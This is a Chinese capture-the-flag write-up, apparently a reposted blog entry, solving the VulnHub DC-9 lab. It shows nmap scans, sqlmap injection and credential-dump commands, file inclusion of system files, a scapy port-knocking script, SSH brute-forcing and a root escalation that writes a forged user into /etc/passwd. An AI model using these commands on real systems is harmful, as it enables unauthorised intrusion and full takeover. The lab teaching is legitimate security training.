DC-9筆記

靶機信息

官網:DC: 9 ~ VulnHub

請添加圖片描述

只有一個flag,官網上沒給其他提示

信息收集

nmap 192.168.66.2-254

請添加圖片描述

nmap 192.168.66.146 -A -p-

請添加圖片描述

開放了80端口,22端口是filtered的,被過濾?

NMAP 六種端口狀態解讀_nmap filtered-CSDN博客

那來看看http服務吧

http(80)

請添加圖片描述

頁腳是空白的,插件也沒有檢測到用什么框架,自己寫的嗎?

請添加圖片描述

display.php頁面找到了一些用戶信息

請添加圖片描述

results.php頁面能查找用戶,覺得有sql注入的可能

manage.php頁面是個登錄頁面,那么我們來看看results或者manage這兩個頁面有沒有sql注入吧

請添加圖片描述

擱results.php找到了sql注入

請添加圖片描述

python3 .\sqlmap.py -r C:\Users\N\Desktop\123.txt -D Staff -T Users -C "Password,UserID,Username" --dump

請添加圖片描述

+----------------------------------+--------+----------+
| Password                         | UserID | Username |
+----------------------------------+--------+----------+
| 856f5de590ef37314e7c3bdf6f8a66dc | 1      | admin    |
+----------------------------------+--------+----------+

MD5免費在線解密破解_MD5在線加密-SOMD5

密文解開是:transorbital1

登錄后臺

請添加圖片描述

頁腳有個文件不存在,一下子就想到了之前的文件包含漏洞,也是頁腳文件的包含

請添加圖片描述

包含上了,但是吧,php偽協議試過了,用不了

那就隨便翻翻系統的敏感文件吧

Linux常見的敏感目錄 - 樓–樓 - 博客園 (cnblogs.com)

windows和linux敏感文件記錄_滲透測試windows敏感文件-CSDN博客

linux調度器(十)——調度器/proc信息解讀 - delay瘋子 - 博客園 (cnblogs.com)

最后在/proc/sched_debug文件里找到了突破口

請添加圖片描述

通過Knockd隱藏SSH,讓黑客看不見你的服務器-CSDN博客

ssh(22)

好家伙,難怪ssh信息收集的時候顯示filtered,原來使用knockd做了隱藏,那么我們需要端口敲門才行

包含knockd服務的配置文件來看開門條件

請添加圖片描述

我們需要采用syn報文依次訪問7469,8475,9842端口才可以開啟22端口

python寫個敲門腳本

from scapy.all import *dst = "192.168.66.146"
sport = 5678
dports = [7469,8475,9842]
iface = "VMware Virtual Ethernet Adapter for VMnet1"for i in dports:dport=ipkt = IP(dst = dst)/TCP(sport = sport, dport = dport , flags = 'S')fb = sr (pkt,iface=iface ,timeout=1,verbose=0)print("敲門成功")

運行后再次對目標進行探測,發現22端口已經是開放狀態了

請添加圖片描述

接著就是用戶名和密碼了,用戶名我們可以從/etc/passwd文件里獲取

密碼我在后面又發現了一個新的數據庫是users

python3 .\sqlmap.py -r C:\Users\N\Desktop\123.txt -D users -T UserDetails -C "firstname,id,lastname,password,reg_date,username" --dump
+-----------+----+------------+---------------+---------------------+-----------+
| firstname | id | lastname   | password      | reg_date            | username  |
+-----------+----+------------+---------------+---------------------+-----------+
| Mary      | 1  | Moe        | 3kfs86sfd     | 2019-12-29 16:58:26 | marym     |
| Julie     | 2  | Dooley     | 468sfdfsd2    | 2019-12-29 16:58:26 | julied    |
| Fred      | 3  | Flintstone | 4sfd87sfd1    | 2019-12-29 16:58:26 | fredf     |
| Barney    | 4  | Rubble     | RocksOff      | 2019-12-29 16:58:26 | barneyr   |
| Tom       | 5  | Cat        | TC&TheBoyz    | 2019-12-29 16:58:26 | tomc      |
| Jerry     | 6  | Mouse      | B8m#48sd      | 2019-12-29 16:58:26 | jerrym    |
| Wilma     | 7  | Flintstone | Pebbles       | 2019-12-29 16:58:26 | wilmaf    |
| Betty     | 8  | Rubble     | BamBam01      | 2019-12-29 16:58:26 | bettyr    |
| Chandler  | 9  | Bing       | UrAG0D!       | 2019-12-29 16:58:26 | chandlerb |
| Joey      | 10 | Tribbiani  | Passw0rd      | 2019-12-29 16:58:26 | joeyt     |
| Rachel    | 11 | Green      | yN72#dsd      | 2019-12-29 16:58:26 | rachelg   |
| Ross      | 12 | Geller     | ILoveRachel   | 2019-12-29 16:58:26 | rossg     |
| Monica    | 13 | Geller     | 3248dsds7s    | 2019-12-29 16:58:26 | monicag   |
| Phoebe    | 14 | Buffay     | smellycats    | 2019-12-29 16:58:26 | phoebeb   |
| Scooter   | 15 | McScoots   | YR3BVxxxw87   | 2019-12-29 16:58:26 | scoots    |
| Donald    | 16 | Trump      | Ilovepeepee   | 2019-12-29 16:58:26 | janitor   |
| Scott     | 17 | Morrison   | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2  |
+-----------+----+------------+---------------+---------------------+-----------+

用拿到的用戶和密碼去爆破ssh,所有的信息匯總一下,一共是43個已知用戶名和18個已知密碼

請添加圖片描述

多爆破兩次,出來了三個用戶名

chandlerb:UrAG0D!
janitor:Ilovepeepee
joeyt:Passw0rd

提權

三個用戶都能ssh登錄,但是只在janitor用戶里找到了線索

janitor用戶home里有個.secrets-for-putin文件夾

請添加圖片描述

里面有一個密碼字典文件,我們給復制出來,然后接著用之前的用戶名去爆破

請添加圖片描述

又出來個賬號密碼

fredf:B4-Tru3-001

請添加圖片描述

我們擱sudo -l里看見了提權的線索,一個可以以root權限執行的文件

是個可執行文件,大概率是test.py編譯出來的

請添加圖片描述

在/opt/devstuff目錄下發現了test.py文件

請添加圖片描述

簡單,讀一個文件然后將內容寫入到另一個文件以root權限

linux默認不讓空密碼登錄,所以先生成一個密碼,然后仿造/etc/passwd文件的格式寫一個root權限格式的用戶

然后su切換過去就可以以root權限登陸了

cd /tmp
# 首先切換到tmp目錄防止權限問題
openssl passwd -1 -salt 123 123
# 生成加鹽密碼
echo '123:$1$123$nE5gIYTYiF1PIXVOFjQaW/:0:0::/root:/bin/bash' > 1.txt
# 偽造用戶信息
sudo /opt/devstuff/dist/test/test /tmp/1.txt /etc/passwd
# 寫入假用戶信息進/etc/passwd文件

請添加圖片描述

flag

請添加圖片描述

小結

這個靶機最讓我意想不到的是端口敲門,之前沒接觸過這種藏匿端口的方式

然后也接觸到了很多linux系統的敏感文件位置

然后就是用戶信息我們收集到就不要忽視,不斷擴大自己的字典去爆破

DC系列告一段落了,打下來還是有很多收獲的,擴寬了很多思路

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/63372.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/63372.shtml
英文地址,請注明出處:http://en.pswp.cn/web/63372.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

STM32-筆記3-驅動蜂鳴器

1、復制03項目,重命名為04項目 打開04項目的Drivers/BSP/led文件夾,把led文件夾更改為beep文件夾,改文件夾內部的.c和.h文件更改為beep.c和beep.h文件,如下圖所示。 2、打開工程文件 出現彈窗,顯示找不到xx文件&#…

PHP開發日志 ━━ 基礎知識:四種不同的變量返回方式該如何調用

最近在給框架升級,其中涉及到古早的緩存系統升級,現在準備區分類型為混合、變量和普通文件,那么變量用什么形式存儲到緩存才能給后續開發帶來便利和通用性呢?于是就涉及到了本文的php基礎知識。 好吧,又是一個無用的知…

概率論得學習和整理30: 用EXCEL 描述泊松分布 poisson distribution

目錄 1 泊松分布的基本內容 1.1 泊松分布的關鍵點 1.1.1 屬于離散分布 1.1.2 泊松分布的特點:每個子區間內概率相等 , λ就是平均概率 1.2 核心參數 1.3 pmf公式 1.4 期望和方差 2 例1:用EXCEL計算泊松分布的概率 3 比較λ不同值時…

Java中的垃圾收集器

文章目錄 1. 理解不同類型的垃圾收集器1.1 Serial 收集器1.2 Parallel (吞吐量) 收集器1.3 CMS (Concurrent Mark-Sweep) 收集器1.4 G1 (Garbage First) 收集器1.5 ZGC 和 Shenandoah GC1.6 Epsilon GC1.7 ParNew 收集器1.8 Zing (Azul Systems) 2. 優化垃圾收集器的選擇和配置…

測試工程師八股文05|功能測試、業務測試

一、基礎概念 1、軟件測試分類 1??按照軟件產生的階段劃分 單元測試:針對程序源代碼進行測試【開發自測】集成測試:針對模塊之間功能交互進行測試系統測試:對整個系統(功能、非功能)進行全面測試驗收測試&#xff…

圖(dfs與bfs)算法2

進度:15/100 原題1: 給你一棵二叉樹的根節點 root ,翻轉這棵二叉樹,并返回其根節點。 (力扣的圖) 原題2: 給定二叉樹的根節點 root ,返回所有左葉子之和。 原題3: 給…

《鴻蒙開發-答案之書》字符串占位符格式化

《鴻蒙開發-答案之書》字符串占位符格式化 先在string.json定義: {"name":"message_arrive","value":"We will arrive at %s."}使用,它有兩種使用方式: 方式一: Text($r(app.string.…

Redis bitmaps 使用

應用場景: 記錄id為 1 的用戶,2024年12月簽到情況,并統計; 記錄 1號簽到 zxys-redis:0>setbit 1:202412 1 1 記錄 2號簽到 zxys-redis:0>setbit 1:202412 2 1 記錄 3號未簽到 zxys-redis:0>setbit 1:202412 3 0 …

【微服務】SpringBoot 整合Redis Stack 構建本地向量數據庫相似性查詢

目錄 一、前言 二、向量數據庫介紹 2.1 什么是向量數據庫 2.2 向量數據庫特點 2.3 向量數據庫使用場景 三、常用的向量數據庫解決方案 3.1 Milvus 3.1.1 Milvus是什么 3.1.2 Milvus主要特點 3.2 Faiss 3.2.1 Faiss是什么 3.2.2 Faiss主要特點 3.3 Pinecone 3.3.1 …

【數據庫】大二數據庫復習范圍 (快速版)幫助你快速復習數據庫

第一章 1. 信息=數據+語義 2:數據庫管理系統(database management system, DBMS) 3. 數據庫系統(database system, DBS)由數據庫、數據庫用戶、計算機硬件系統和計算機軟件系統等幾部分組成 4. 數據模型按應用層次可分為概念模型、邏輯模型和物理模型。 5.每個二維表…

FMIKit-Simulink 常見問題解決方案

將解壓后的文件夾添加到 MATLAB 路徑中: addpath(fullfile(pwd, FMIKit-Simulink-3.1));初始化 FMIKit: FMIKit.initialize(); 設置求解器rtwsfcnfmi.tlc、或grtfmi.tlc再CtrlB即可。 幫助文檔可查看導出FUM和導入FMU。 FMIKit-Simulink-3.1\html\index…

UE UMG 多級彈出菜單踩坑

多級彈出菜單 https://www.bilibili.com/video/BV1ub411J7nA 運行時添加 widget 的方法 create widget 然后 add child 到某個組件,比如 canvas 運行時修改 widget 位置的方法 set widget slot position 用起來沒效果 懷疑是因為我沒有傳入 slot 但是暫時不知…

sunset: midnight

https://www.vulnhub.com/entry/sunset-midnight,517/ 主機發現端口掃描 探測存活主機,8是靶機 nmap -sP 192.168.56.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-05 16:49 CST Nmap scan report for 192.168.56.1 …

【PyTorch】動態調整學習率 torch.optim.lr_scheduler.StepLR 調度器

文章目錄 1. torch.optim.lr_scheduler.StepLR 官方文檔詳解2. 使用示例2.1 官方提供使用示例2.2 自己寫代碼測試方法2.2.1 get_last_lr() 方法2.2.2 state_dict() 方法2.2.3 load_state_dict() 保存和加載調度器 3. 思考3.1 為什么需要state_dict()3.2 get_lr() 與 get_last_l…

伊克羅德與九科信息共同發布RPA+AI智能機器人解決方案

12月12日,伊克羅德信息在上海舉辦“創見AI,邁進智能化未來——科技賦能零售電商”活動,與九科信息、亞馬遜云科技共同探討與分享,融合生成式AI技術和智能自動化(RPA,Robotic Process Automation)在電商零售…

hutool一些典型的方法使用筆記

hutool一些典型的方法使用筆記 1 克隆1.1 深克隆 2類型轉換2.1其他類型轉換為字符串2.2 轉換為日期對象2.3 數組轉集合2.4 Unicode和字符串轉換2.5 數字轉中文 文檔地址:https://blog.csdn.net/dxjren/article/details/144468399 1 克隆 1.1 深克隆 定義一個實體類…

QT實戰經驗總結 連載中

QT實戰經驗總結 在看書系統學習后,就開始實戰了,會遇到很多問題1.信號和槽的思考2.在python 或 C 代碼中,對 QML 代碼中控件的調用關于在一個窗口上不斷打開新窗口 在看書系統學習后,就開始實戰了,會遇到很多問題 pyt…

從 CephFS 到 JuiceFS:同程旅行億級文件存儲平臺構建之路

隨著公司業務的快速發展,同程旅行的非結構化的數據突破 10 億,在 2022 年,同程首先完成了對象存儲服務的建設。當時,分布式文件系統方面,同程使用的是 CephFS,隨著數據量的持續增長,CephFS 的高…

固定資產分類,提升資產盤活效益

固定資產是企業長期使用的重要資源,涵蓋范圍廣、種類多,不同的資產需要針對性管理。通過科學的分類與高效的盤活策略,不僅可以優化資源配置,還能提升企業資產的利用效率和經濟效益。以下將詳細解析固定資產的分類方式和盤活效益的…

富途證券C++面試題及參考答案

C++ 中堆和棧的區別 在 C++ 中,堆和棧是兩種不同的內存區域,它們有許多區別。 從內存分配方式來看,棧是由編譯器自動分配和釋放的內存區域。當一個函數被調用時,函數內的局部變量、函數參數等會被壓入棧中,這些變量的內存空間在函數執行結束后會自動被釋放。例如,在下面的…